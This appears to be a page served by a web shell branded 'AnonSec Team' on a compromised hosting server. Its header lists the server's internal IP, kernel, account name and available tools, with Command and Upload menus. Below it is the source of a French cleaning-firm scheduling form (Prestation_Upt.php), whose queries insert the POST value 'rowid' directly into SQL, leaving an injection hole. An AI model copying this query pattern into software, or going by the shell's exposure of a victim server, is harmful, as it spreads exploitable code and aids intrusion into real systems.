AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/Prestation_Upt.php
  <style>
	.orange{ background-color:#FF8000;}
	.vert{ background-color:#04B404;}
	.rouge{ background-color:#FF0000;}
  </style>
  <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
<script>
$( function() {
	
	$("body").on( "change", "#monChoix", function(){
		var selectVal = $(this).val();
		var couleur = $( 'option[value="'+selectVal+'"]' ).attr("class") ;
		$("#monChoix").attr("class", couleur);
	})
	
	// recupere la valeur choisi
	var selectVal = $("#monChoix").val();
	// recupere la couleur de l'option qui a cette valeur
	var couleur = $( 'option[value="'+selectVal+'"]' ).attr("class");
	// change la couleur de la valeur choisi
	$("#monChoix").attr("class", couleur);
});
</script>



<?php
if($_POST['rowid']) {
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
function GET_type_pre ($name = '', $param = '',$value =1)
{
	if(!is_array($value))
		$value = array($value) ;
	$tab = array(1 => 'Nettoyage courant régulier', 2 => 'Prestation de Vitrerie ',  3 => 'Shampoing Moquette ',  4 => 'Autre prestation spécifique');
	$ret = "<select name=\"$name\" $param>";
	foreach ($tab as $key => $val) {
	$ret .= sprintf('<option value="%s"%s>%s </option>', $key, in_array($key , $value) ? ' selected' : '', $val) ;
	}
	return $ret."</select>" ;
}
$presta_id = $_POST['rowid'];
$client_id     = $_SESSION["client_id"] ; 
 
 	if (!empty($presta_id) && $presta_id > 0)
	{
	$q = dbi_query("SELECT * FROM PRESTATIONS WHERE  presta_id = ".$presta_id) ;
	
	if(!$prest = dbi_fetch_row($q))
		die('Numéro de prestation invalide</body></html>') ;
	}

	
	
		$date = date('Ymd'); ;
		$q1 = dbi_query("SELECT * FROM PRESTATIONS_MODIF WHERE presta_id = ".$prest['presta_id']." order by start, modif_id ") ;
		while (($m = dbi_fetch_row($q1)) && $date >= $m['start'])
		{
			$prest['presta_sem'] = $m['presta_sem'] === NULL ? $prest['presta_sem'] : $m['presta_sem'] ;
			$prest['presta_jour'] = $m['presta_jour'] === NULL ? $prest['presta_jour'] : $m['presta_jour'] ;
			$prest['presta_Hdeb'] = $m['presta_Hdeb'] === NULL ? $prest['presta_Hdeb'] : $m['presta_Hdeb'] ;
			$prest['presta_Hduree'] = $m['presta_Hduree'] === NULL ? $prest['presta_Hduree'] : $m['presta_Hduree'] ;
			$prest['salarie_id'] = $m['salarie_id'] === NULL ? $prest['salarie_id'] : $m['salarie_id'] ;
			$prest['chantier_id'] = $m['chantier_id'] === NULL ? $prest['chantier_id'] : $m['chantier_id'] ;
			$prest['presta_forfait'] = $m['presta_forfait'] === NULL ? $prest['presta_forfait'] : $m['presta_forfait'] ;
			
			
		}
		
	if(!empty($prest['presta_date_fin']))
		$presta_date_fin = int2date_autre_format($prest['presta_date_fin']) ;
	// echo $presta_date_fin;
	else
		$presta_date_fin = NULL ;
	
		if(!empty($prest['presta_date_debut']))
		$presta_date_debut = int2date_autre_format($prest['presta_date_debut']) ;
	else
		$presta_date_debut = NULL ;
	$presta_Hfin =addDuree($prest['presta_Hdeb'], $prest['presta_Hduree']) ; 	


	
?>

<?php
}
?>


		  <form action="" method="POST">
	
        <div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
              <h4 class="modal-title">Modifier Prestation <?php echo $presta_id ;?></h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
        </div>
		<div class="modal-body">
						<div class="card-body">
							<form action="" method="POST">
								<input type="hidden" id="client_id" name="client_id" value="<?php echo $client_id ;?>">
								<input type="hidden" id="presta_id" name="presta_id" value="<?php echo $presta_id ;?>">									
								<div class="form-row">
								
									<div class="form-group col-md-4">
										<label>Date de D&#233;but (start)</label>
										<div class="input-group">
											<div class="input-group-prepend"> <span class="input-group-text"><i class="far fa-calendar-alt"></i></span></div>
											<input type="date" class="form-control" id="presta_date_debut" name="presta_date_debut"  value='<?php echo $presta_date_debut; ?>' placeholder="jj/mm/aaaa"/>
										</div>
									</div>							
								    <div class="form-group col-md-4">
										<label>Date de fin (end) </label>
										<div class="input-group">
											<div class="input-group-prepend"><span class="input-group-text"><i class="far fa-calendar-alt"></i></span></div>
											<input type="date" class="form-control" id="presta_date_fin" value='<?php echo $presta_date_fin; ?>' name="presta_date_fin" >
										</div>
							        </div>
									
									<div class="form-group col-md-4">
										<label>Nombre semaine </label>
										<div class="input-group">
											<div class="input-group-prepend"><span class="input-group-text"><i class="far fa-calendar-alt"></i></span></div>
											<select class="form-control" name="presta_sem"  id="presta_sem">
												<option value="1"  <?php if($prest['presta_sem'] == 1)  echo 'SELECTED'; ?>> 1 </option>
												<option value="2"  <?php if($prest['presta_sem'] == 2)  echo 'SELECTED'; ?>> 2 </option>
												<option value="3"  <?php if($prest['presta_sem'] == 3)  echo 'SELECTED'; ?>> 3 </option>
												<option value="4"  <?php if($prest['presta_sem'] == 4)  echo 'SELECTED'; ?>> 4 </option>
												<option value="5"  <?php if($prest['presta_sem'] == 5)  echo 'SELECTED'; ?>> 5 </option>
												<option value="6"  <?php if($prest['presta_sem'] == 6)  echo 'SELECTED'; ?>> 6 </option>
												<option value="7"  <?php if($prest['presta_sem'] == 7)  echo 'SELECTED'; ?>> 7 </option>
												<option value="8"  <?php if($prest['presta_sem'] == 8)  echo 'SELECTED'; ?>> 8 </option>
												<option value="9"  <?php if($prest['presta_sem'] == 9)  echo 'SELECTED'; ?>> 9 </option>
												<option value="10" <?php if($prest['presta_sem'] == 10) echo 'SELECTED'; ?>> 10</option>
												<option value="11" <?php if($prest['presta_sem'] == 11) echo 'SELECTED'; ?>> 11 </option>
												<option value="12" <?php if($prest['presta_sem'] == 12) echo 'SELECTED'; ?>> 12</option>
												<option value="13" <?php if($prest['presta_sem'] == 13) echo 'SELECTED'; ?>> 13</option>
												<option value="26" <?php if($prest['presta_sem'] == 26) echo 'SELECTED'; ?>> 26</option>
												<option value="52" <?php if($prest['presta_sem'] == 52) echo 'SELECTED'; ?>> 52</option>
												
												
											</select>
										 </div>
									</div>


									
									<div class="form-group col-md-2">
										<label for="inputAddresse">Heure D&#233;but</label>
										<input type="time" id="appt"   min="05:00" max="22:00" class="form-control" name="presta_Hdeb"  value="<?php echo int2heure($prest['presta_Hdeb']); ?>" required>
									</div>
  
									<div class="form-group col-md-2">
									  <label for="inputsociete">Heure  fin</label>
									  <input type="time" id="appt"  min="05:00" max="22:00" class="form-control" name="presta_Hfin"  value="<?php echo int2heure($presta_Hfin); ?>" required>
								    </div>
									
								    <div class="form-group col-md-4"> 
											<label>Jour de prestation</label>
											<select class="form-control" name="presta_jour"  id="presta_jour">
												<option value="1" <?php if($prest['presta_jour'] == 1) echo 'SELECTED'; ?>> lundi  </option>
												<option value="2" <?php if($prest['presta_jour'] == 2) echo 'SELECTED'; ?>>  mardi </option>
												<option value="3" <?php if($prest['presta_jour'] == 3) echo 'SELECTED'; ?>>mercredi  </option>
												<option value="4" <?php if($prest['presta_jour'] == 4) echo 'SELECTED'; ?>>jeudi   </option>
												<option value="5" <?php if($prest['presta_jour'] == 5) echo 'SELECTED'; ?>> vendredi   </option>
												<option value="6" <?php if($prest['presta_jour'] == 6) echo 'SELECTED'; ?> >samedi  </option>
												<option value="0" <?php if($prest['presta_jour'] == 0) echo 'SELECTED'; ?>>dimanche  </option>
											</select>
								    </div>
									
									<div class="form-group col-md-4">
										<label for="inputsociete">Taux</label>
										<input type="text"	 class="form-control" name="presta_forfait" value="<?php echo $prest['presta_forfait'] ;?>"  required>
									</div>
									
								   <div class="form-group col-md-8"><!-- Liste déroulante jour -->  
										<label>Salarier </label>
										<select class="form-control select2" style="width: 100%;" name="salarie_id" id="salarie_id">
												<?php $req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
											while(  $sal=dbi_fetch_row($req)) { ?>
												<option value="<?php echo $sal['salarie_id'] ; ?>" <?php if( $sal['salarie_id']== $prest['salarie_id']) echo "SELECTED"  ; ?> ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
												<?php   }	?>
										</select>
									</div>
									<input  name="salarie_id_contrat" type="hidden" value="<?php echo $prest['salarie_id']; ?>">
									<input  name="salarie_duree_contrat" type="hidden" value="<?php echo $prest['presta_Hduree']; ?>">
									<div class="form-group col-md-4">
											<label for="inputsociete">Type prestation</label>
											<?php  echo GET_type_pre('prestation_type','id="prestation_type" class="form-control" ' ,$prest['prestation_type'] )  ; ?>
									</div>

								   
									
									<div class="form-group col-md-4">
										<label>Date d’application</label>
										<div class="input-group">
											<div class="input-group-prepend"> <span class="input-group-text"><i class="far fa-calendar-alt"></i></span></div>
											<input type="date" class="form-control" id="start" name="start"  value='' placeholder="jj/mm/aaaa" required />
										</div>
									</div>	





								</div>  
						</div>
		</div>
	    <div class="modal-footer justify-content-between">
            <button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
            <button type="submit" name="UptPr" class="btn btn-primary">Modifier</button>
							</form>
        </div>
	  

<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<script>
  $(function () {
    $('.select2').select2()

    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })

  })
</script>

AnonSec - 2021